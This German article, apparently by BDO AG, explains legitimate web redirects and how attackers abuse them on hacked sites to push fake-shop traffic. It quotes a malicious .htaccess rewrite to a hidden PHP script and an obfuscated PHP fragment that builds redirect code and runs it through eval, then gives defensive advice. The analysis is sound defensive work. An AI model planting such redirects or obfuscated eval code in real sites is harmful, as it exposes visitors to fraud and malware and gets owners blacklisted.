Grundsätzlich werden sogenannte „Redirects“ dafür verwendet, den Besucher sowie Suchmaschinen-Crawler von einer URL auf eine andere umzuleiten. Redirects sind damit für Websites zunächst ein nützliches Werkzeug, um Aufrufe von Website Besuchern und Crawlern das Auffinden von Inhalten auf der eigenen Webpage zu erleichtern.
Für Redirects gibt es verschiedene Anwendungen, die dem Webmaster ermöglichen, die Aufrufe der Website zu steuern. So werden Redirects in diesem Zusammenhang häufig eingesetzt, wenn sich etwa der Domain-Name geändert hat und Aufrufe für die ursprüngliche Domain auf die neue umgeleitet werden, der Inhalt einiger Seiten aktualisiert wurde und nur noch die aktuelle Seite oder eine bestimmte Seite angezeigt werden soll oder wenn zwei Webpages zusammengeführt werden zu einer neuen.
Die Redirects erhöhen dabei den Komfort für den Benutzer, da Redirects so eingestellt werden können, dass diese ohne Interaktion mit dem Website-Besucher ablaufen und verringern die Wahrscheinlichkeit, dass gewünschter Traffic etwa durch geänderte Domain-Namen verloren geht. Dies gilt natürlich auch für Links, die im Internet auch weiterhin auf die alte Domain zeigen. Hier bewirken Redirects zudem, dass der sogenannte „SEO Link Juice“ auf die neue URL abfärbt und damit die Suchmaschinensichtbarkeit auf die neue Domain übertragen wird. Generell übernehmen die Suchmaschinen mit der Zeit bei permanenten Redirects die SEO Authority für die neue URL.
Was/Welche Formen des Redirects gibt es?
Neben der Möglichkeit einen Redirect über den Registrar oder Website Host einzustellen, können Redirects auch auf Server-Ebene platziert werden. Für den weit verbreiteten Apache Webserver übernimmt dies beispielsweise das Config-File htaccess:
Apache Server
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_HOST} ^example.com [NC]
RewriteRule ^(.*)$ http://www.example.com/$1 [r=301,L]
Eine dynamische Steuerung der Redirects kann auch über Skriptsprachen wie bspw. php oder Javascript erreicht werden:
PHP
<?php header("Location: http://www.example.com/new-url "); exit();?>
Javascript
<script>window.location.href = "http://www.example.com/new-url/"</script>
Auch hier wird ohne Mitwirkung des Surfers der Aufruf einer Website auf eine andere weitergeleitet.
Wo ist das Problem?
Da die Aufrufe des Redirects ohne die Mitwirkung des Users ablaufen, wird diese Technik auch von Angreifern erfolgreich dazu verwendet, bei gehackten Websites den Website Besucher oder Search Engine Crawler auf eine manipulierte Website weiterzuleiten. Damit gelingt es bspw. Betreibern von Fake Webshops vom SEO Ranking der gekaperten Website zu profitieren und so Netzwerk-Traffic auf manipulierte Websites umzuleiten.
Dabei hat der Internetbenutzer das Risiko bei Einkäufen in Fake Webshops einem Betrug zum Opfer zu fallen oder sich über die manipulierte Webseite Schadsoftware einzufangen. Aber auch der Website Betreiber, dessen gekaperte Seite auf den Fake Webshop verlinkt, läuft Gefahr auf einer Blacklist der Search Engine Betreiber zu landen und damit im Internet für Suchen unsichtbar zu werden. Dies kann gerade bei Geschäftstätigkeiten im E-Commerce Bereich einen gravierenden Schaden für den Webseitenbetreiber darstellen.
Wie werden Redirects festgestellt?
Im Rahmen des INSPECTION Projekts konnten wir verschiedene Redirects feststellen, die von Angreifern platziert wurden, um auf Fake-Shops zu verweisen.
Ein Beispiel einer festgestellten manipulierten .htaccess Website für einen statischen Redirect sieht dabei folgendermaßen aus:
RewriteEngine on
AddHandler x-httpd-php55 .php5
RewriteRule ^pillen/(.*)$ lib/mail/.cache/cache.php5?q=$1 [L]
Hier wurde die reguläre .htaccess Datei um einen Eintrag erweitert, der alle Aufrufe mit dem Begriff „Pillen“ im URL String auf ein php Skript mit dem Namen „cache.php5“ weiterleitet. Das Skript wiederum baut eine Internetseite mit Verlinkungen zu Fake-Shops auf.
Eine deutlich schwieriger festzustellende Form des Redirects stellen dynamische Redirects dar. Hier wird die Ziel URL auf die weitergeleitet werden soll zur Laufzeit aus einzelnen Parametern aufgebaut.
Im folgenden Code-Snippet wird die Funktion „IIPPVOAEg34tsji2n9“ bei (1) über einen dynamische Parameter „$IzgF9rOtJZ0wOe1“ aufgerufen und erstellt den php Code für den Redirect. Der Rückgabewert „$IGe4PXeA42DaRD0“ wird in einer weiteren Funktion (2) dazu verwendet den PHP Redirect anzupassen und über eval bei (3) auszuführen:
(1) $IGe4PXeA42DaRD0 = (IIPPVOAEg34tsji2n9($IzgF9rOtJZ0wOe1, "redirect", "yes"));
(2) if (stripos("qqq" . $IGe4PXeA42DaRD0, "THIS" . "ISPH" . "PRED" . "IRECT")) { $IGe4PXeA42DaRD0 = str_ireplace("THI" . "SIS" . "PHP" . "REDI" . "RECT", "", $IGe4PXeA42DaRD0);
$IGe4PXeA42DaRD0 = str_ireplace("<?php", "", $IGe4PXeA42DaRD0);
$IGe4PXeA42DaRD0 = str_ireplace("?>", "", $IGe4PXeA42DaRD0);
$IGe4PXeA42DaRD0 = str_ireplace("[DEFISKEY]", str_ireplace("-", "+", urldecode($IGe4PXeA42DaRD1)), $IGe4PXeA42DaRD0);
(3) eval($IGe4PXeA42DaRD0);
Die dynamisch zur Laufzeit erstellte URL wird vom Angreifer gesteuert und leitete bei unserer Untersuchung den Webseitenbenutzer unter (3) auf eine manipulierte Website weiter.
Diese Form des Hackings ist bei manipulierten Webseiten auch deswegen schwer zu analysieren, da der Angreifer für die verwendeten Variablen keine sprechenden Namen verwendet, sondern mit Funktionsnamen wie “ IIPPVOAEg34tsji2n9″ den Code möglichst unleserlich gestaltet.
Was kann ich tun?
Eine Voraussetzung dafür, dass eine Website manipuliert werden kann, um bspw. die Datei .htaccess so zu konfigurieren, dass der Website Besucher auf die manipulierte Seite des Angreifers weitergeleitet wird, ist der Zugriff des Angreifers auf den Webspace. Dafür gibt es verschiedene Möglichkeiten, die über sogenannte Angriffs-Vektoren Schwachstellen eines Systems ausnutzen und einen administrativen Zugriff auf die Website ermöglichen. Hier ist der Betreiber der Website gefordert genau diese Schwachstellen möglichst früh zu erkennen und zu beheben, um einen Angriff über genau diese Angriffsvektoren zu verhindern. Als Beispiel sind schwache Admin Passwörter, die für CMS Systeme verwendet werden, im Verhältnis einfach zu beheben. Schwieriger dagegen ist es, fehlerhafte Software zu erkennen und hier über entsprechende Software-Patches die Sicherheitslücken zu schließen. Software ist nie fehlerfrei, daher ist es die Herausforderung an den Website Betreiber das verwendete System aktuell zu halten, um die bekannten Schwachstellen über vorhandene Patches zu schließen und damit den Angriffsvektor über die zugehörige Schwachstelle zu schließen. Wichtig ist hier alle Softwaremodule die vom Website Betreiber administriert werden, wie CMS, Datenbank, Plugins, Webserver, FTP Server, im Blick und aktuell zu halten.
Nach einem erfolgreichen Angriff müssen die Angriffsspuren festgestellt und beseitigt werden. Eine sog. post-mortem Analyse hilft die „lessons learnt“ zu verarbeiten. Bei der post-mortem Analyse sollte auch betrachtet werden, wie zum einen die Angriffsfläche verringert werden kann, um zukünftige Angriffe zu erschweren. Hier steigert die Resilienz eines Webauftritts gegen Angriffe sicherlich das bereits beschriebene regelmäßige Update von Software. Auf der Seite der Intrusion Detection helfen Security Plugins, die zum einen in der Lage sind die Aktualität von Softwaremodulen festzustellen als auch verdächtige Vorgänge zu detektieren. Damit wird die Widerstandsfähigkeit des Systems gegen Angriffe genauso erhöht wie die Sichtbarkeit des Website Betreibers auf eventuelle verdächtige Vorgänge. Dies verkürzt die Zeit bis Security Incidents festgestellt und behandelt werden können und erhöht damit wesentlich die Sicherheit Ihrer Website und deren Besucher.
BDO AG